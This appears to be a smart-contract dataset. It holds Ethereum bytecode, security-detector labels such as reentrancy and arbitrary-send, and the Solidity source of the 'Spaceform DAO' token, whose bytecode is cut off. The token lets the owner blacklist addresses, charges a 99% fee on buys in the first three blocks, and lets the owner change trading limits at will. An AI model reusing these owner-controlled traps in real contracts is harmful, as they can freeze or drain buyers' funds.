56040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a530149060200161067c565b6008546001600160a01b0316336001600160a01b031614610b0557600080fd5b47610b0f816117f6565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610b575760405162461bcd60e51b81526004016108c090611e71565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610694338484611188565b6008546001600160a01b0316336001600160a01b031614610bce57600080fd5b6000610bd930610b12565b9050610b0f8161187b565b6000546001600160a01b03163314610c0e5760405162461bcd60e51b81526004016108c090611e71565b60115460ff1615610c5b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108c0565b6011805460ff1916600117905542601055680340aad21b3b700000600e5568068155a43676e00000600f55565b600a54600090610926906001600160a01b0316610b12565b6000546001600160a01b03163314610cca5760405162461bcd60e51b81526004016108c090611e71565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161067c565b6000546001600160a01b03163314610d475760405162461bcd60e51b81526004016108c090611e71565b60115460ff1615610d945760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108c0565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dd13082683635c9adc5dea00000611064565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e339190611ea6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea49190611ea6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f159190611ea6565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f4581610b12565b600080610f5a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fc2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fe79190611ec3565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611040573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ac9190611ef1565b6001600160a01b0383166110c65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108c0565b6001600160a01b0382166111275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108c0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111ec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108c0565b6001600160a01b03821661124e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108c0565b600081116112b05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108c0565b6001600160a01b03831660009081526006602052604090205460ff16156113255760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016108c0565b600080546001600160a01b0385811691161480159061135257506000546001600160a01b03848116911614155b1561179757600a546001600160a01b03858116911614801561138257506007546001600160a01b03848116911614155b80156113a757506001600160a01b03831660009081526004602052604090205460ff16155b156116335760115460ff166113fe5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016108c0565b601054420361143d5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016108c0565b42601054610e1061144e9190611f0e565b11156114c857600f5461146084610b12565b61146a9084611f0e565b11156114c85760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016108c0565b6001600160a01b03831660009081526005602052604090206001015460ff16611530576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115409190611f0e565b111561161457600e548211156115985760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016108c0565b6115a342600f611f0e565b6001600160a01b038416600090815260056020526040902054106116145760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016108c0565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff1615801561164d575060115460ff165b80156116675750600a546001600160a01b03858116911614155b156117975761167742600f611f0e565b6001600160a01b038516600090815260056020526040902054106116e95760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016108c0565b60006116f430610b12565b905080156117805760115462010000900460ff161561177757600d54600a5460649190611729906001600160a01b0316610b12565b6117339190611f26565b61173d9190611f45565b81111561177757600d54600a5460649190611760906001600160a01b0316610b12565b61176a9190611f26565b6117749190611f45565b90505b6117808161187b565b47801561179057611790476117f6565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806117d957506001600160a01b03841660009081526004602052604090205460ff165b156117e2575060005b6117ef85858584866119ef565b5050505050565b6008546001600160a01b03166108fc611810600284611f45565b6040518115909202916000818181858888f19350505050158015611838573d6000803e3d6000fd5b506009546001600160a01b03166108fc611853600284611f45565b6040518115909202916000818181858888f193505050501580156107ac573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118bf576118bf611e15565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611918573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061193c9190611ea6565b8160018151811061194f5761194f611e15565b6001600160a01b0392831660209182029290920101526007546119759130911684611064565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119ae908590600090869030904290600401611f67565b600060405180830381600087803b1580156119c857600080fd5b505af11580156119dc573d6000803e3d6000fd5b50506011805461ff001916905550505050565b60006119fb8383611a11565b9050611a0986868684611a58565b505050505050565b6000808315611a51578215611a295750600b54611a51565b50600c54601054611a3c90610384611f0e565b421015611a5157611a4e600582611f0e565b90505b9392505050565b600080611a658484611b35565b6001600160a01b0388166000908152600260205260409020549193509150611a8e908590611e5a565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611abe908390611f0e565b6001600160a01b038616600090815260026020526040902055611ae081611b69565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b2591815260200190565b60405180910390a3505050505050565b600080806064611b458587611f26565b611b4f9190611f45565b90506000611b5d8287611e5a565b96919550909350505050565b30600090815260026020526040902054611b84908290611f0e565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bc457858101830151858201604001528201611ba8565b81811115611bd6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b0f57600080fd5b8035611c0c81611bec565b919050565b600060208284031215611c2357600080fd5b8135611a5181611bec565b60008060408385031215611c4157600080fd5b8235611c4c81611bec565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611c8357600080fd5b823567ffffffffffffffff80821115611c9b57600080fd5b818501915085601f830112611caf57600080fd5b813581811115611cc157611cc1611c5a565b8060051b604051601f19603f83011681018181108582111715611ce657611ce6611c5a565b604052918252848201925083810185019188831115611d0457600080fd5b938501935b82851015611d2957611d1a85611c01565b84529385019392850192611d09565b98975050505050505050565b60008060408385031215611d4857600080fd5b50508035926020909101359150565b600080600060608486031215611d6c57600080fd5b8335611d7781611bec565b92506020840135611d8781611bec565b929592945050506040919091013590565b600060208284031215611daa57600080fd5b5035919050565b8015158114610b0f57600080fd5b600060208284031215611dd157600080fd5b8135611a5181611db1565b60008060408385031215611def57600080fd5b8235611dfa81611bec565b91506020830135611e0a81611bec565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e5357611e53611e2b565b5060010190565b600082821015611e6c57611e6c611e2b565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611eb857600080fd5b8151611a5181611bec565b600080600060608486031215611ed857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f0357600080fd5b8151611a5181611db1565b60008219821115611f2157611f21611e2b565b500190565b6000816000190483118215151615611f4057611f40611e2b565b500290565b600082611f6257634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fb75784516001600160a01b031683529383019391830191600101611f92565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205f1a88dcb04e0f0f25a335ac238c74233d9128b9105d2a6e32385d1a298ea87764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,680 |
0xd9722a3601009800f02f61ee82022d7faf2c1d8e
|
/*
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
─██████████████─██████████████─██████████████─██████████████─██████████████─██████████████─██████████████─████████████████───██████──────────██████─
─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░░░██───██░░██████████████░░██─
─██░░██████████─██░░██████░░██─██░░██████░░██─██░░██████████─██░░██████████─██░░██████████─██░░██████░░██─██░░████████░░██───██░░░░░░░░░░░░░░░░░░██─
─██░░██─────────██░░██──██░░██─██░░██──██░░██─██░░██─────────██░░██─────────██░░██─────────██░░██──██░░██─██░░██────██░░██───██░░██████░░██████░░██─
─██░░██████████─██░░██████░░██─██░░██████░░██─██░░██─────────██░░██████████─██░░██████████─██░░██──██░░██─██░░████████░░██───██░░██──██░░██──██░░██─
─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░██─────────██░░░░░░░░░░██─██░░░░░░░░░░██─██░░██──██░░██─██░░░░░░░░░░░░██───██░░██──██░░██──██░░██─
─██████████░░██─██░░██████████─██░░██████░░██─██░░██─────────██░░██████████─██░░██████████─██░░██──██░░██─██░░██████░░████───██░░██──██████──██░░██─
─────────██░░██─██░░██─────────██░░██──██░░██─██░░██─────────██░░██─────────██░░██─────────██░░██──██░░██─██░░██──██░░██─────██░░██──────────██░░██─
─██████████░░██─██░░██─────────██░░██──██░░██─██░░██████████─██░░██████████─██░░██─────────██░░██████░░██─██░░██──██░░██████─██░░██──────────██░░██─
─██░░░░░░░░░░██─██░░██─────────██░░██──██░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░██─────────██░░░░░░░░░░██─██░░██──██░░░░░░██─██░░██──────────██░░██─
─██████████████─██████─────────██████──██████─██████████████─██████████████─██████─────────██████████████─██████──██████████─██████──────────██████─
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SpaceformDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxTxAmount = _tTotal;
uint256 private openBlock;
uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens
uint256 private _maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Spaceform DAO";
string private constant _symbol = "SPACEFORM";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) {
_feeAddrWallet1 = addr1;
_feeAddrWallet2 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[addr4] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[addr5] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(
address(0),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 2;
if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Not over max tx amount
require(amount <= _maxTxAmount, "Over max transaction amount.");
// Cooldown
require(cooldown[to] < block.timestamp, "Cooldown enforced.");
// Max wallet
require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount.");
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 1;
_feeAddr2 = 2;
}
if (openBlock + 3 >= block.number && from == uniswapV2Pair) {
_feeAddr1 = 1;
_feeAddr2 = 99;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
// Only if it's not from or to owner or from contract address.
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquifyEnabled(bool enabled) public onlyOwner {
inSwap = enabled;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function setMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount * 10**9;
}
function whitelist(address payable adr1) external onlyOwner {
_isExcludedFromFee[adr1] = true;
}
function unwhitelist(address payable adr2) external onlyOwner {
_isExcludedFromFee[adr2] = false;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
// .5%
_maxTxAmount = 2000000000000 * 10**9;
_maxWalletAmount = 4000000000000 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setSwapTokens(uint256 swaptokens) public onlyOwner {
_swapTokensAtAmount = swaptokens;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103b1578063dd62ed3e146103c6578063e98391ff1461040c578063ec28438a1461042c578063f42938901461044c578063ffecf5161461046157600080fd5b80638da5cb5b146102d757806395d89b41146102ff5780639a590427146103315780639b19251a14610351578063a9059cbb14610371578063bf6642e71461039157600080fd5b806327a14fc21161010857806327a14fc214610231578063313ce5671461025157806351bc3c851461026d5780635932ead11461028257806370a08231146102a2578063715018a6146102c257600080fd5b806306fdde0314610150578063095ea7b31461019857806318160ddd146101c857806323b872dd146101ef578063273123b71461020f57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600d81526c5370616365666f726d2044414f60981b60208201525b60405161018f9190611ab8565b60405180910390f35b3480156101a457600080fd5b506101b86101b3366004611a0b565b610481565b604051901515815260200161018f565b3480156101d457600080fd5b5069152d02c7e14af68000005b60405190815260200161018f565b3480156101fb57600080fd5b506101b861020a3660046119ca565b610498565b34801561021b57600080fd5b5061022f61022a366004611957565b610501565b005b34801561023d57600080fd5b5061022f61024c366004611a71565b610555565b34801561025d57600080fd5b506040516009815260200161018f565b34801561027957600080fd5b5061022f610593565b34801561028e57600080fd5b5061022f61029d366004611a37565b6105ac565b3480156102ae57600080fd5b506101e16102bd366004611957565b6105f4565b3480156102ce57600080fd5b5061022f610616565b3480156102e357600080fd5b506000546040516001600160a01b03909116815260200161018f565b34801561030b57600080fd5b506040805180820190915260098152685350414345464f524d60b81b6020820152610182565b34801561033d57600080fd5b5061022f61034c366004611957565b61068a565b34801561035d57600080fd5b5061022f61036c366004611957565b6106d5565b34801561037d57600080fd5b506101b861038c366004611a0b565b610723565b34801561039d57600080fd5b5061022f6103ac366004611a71565b610730565b3480156103bd57600080fd5b5061022f61075f565b3480156103d257600080fd5b506101e16103e1366004611991565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041857600080fd5b5061022f610427366004611a37565b610b39565b34801561043857600080fd5b5061022f610447366004611a71565b610b81565b34801561045857600080fd5b5061022f610bbf565b34801561046d57600080fd5b5061022f61047c366004611957565b610bc9565b600061048e338484610c17565b5060015b92915050565b60006104a5848484610d3b565b6104f784336104f285604051806060016040528060288152602001611c73602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611222565b610c17565b5060019392505050565b6000546001600160a01b031633146105345760405162461bcd60e51b815260040161052b90611b0d565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057f5760405162461bcd60e51b815260040161052b90611b0d565b61058d81633b9aca00611bed565b600d5550565b600061059e306105f4565b90506105a98161125c565b50565b6000546001600160a01b031633146105d65760405162461bcd60e51b815260040161052b90611b0d565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b038116600090815260026020526040812054610492906113e5565b6000546001600160a01b031633146106405760405162461bcd60e51b815260040161052b90611b0d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b45760405162461bcd60e51b815260040161052b90611b0d565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106ff5760405162461bcd60e51b815260040161052b90611b0d565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600061048e338484610d3b565b6000546001600160a01b0316331461075a5760405162461bcd60e51b815260040161052b90611b0d565b600c55565b6000546001600160a01b031633146107895760405162461bcd60e51b815260040161052b90611b0d565b601354600160a01b900460ff16156107e35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052b565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610821308269152d02c7e14af6800000610c17565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085a57600080fd5b505afa15801561086e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108929190611974565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109129190611974565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095a57600080fd5b505af115801561096e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109929190611974565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c2816105f4565b6000806109d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3a57600080fd5b505af1158015610a4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a739190611a8a565b505060138054686c6b935b8bbd400000600a5568d8d726b7177a800000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afd57600080fd5b505af1158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b359190611a54565b5050565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161052b90611b0d565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610bab5760405162461bcd60e51b815260040161052b90611b0d565b610bb981633b9aca00611bed565b600a5550565b476105a981611469565b6000546001600160a01b03163314610bf35760405162461bcd60e51b815260040161052b90611b0d565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052b565b6001600160a01b038216610cda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a20747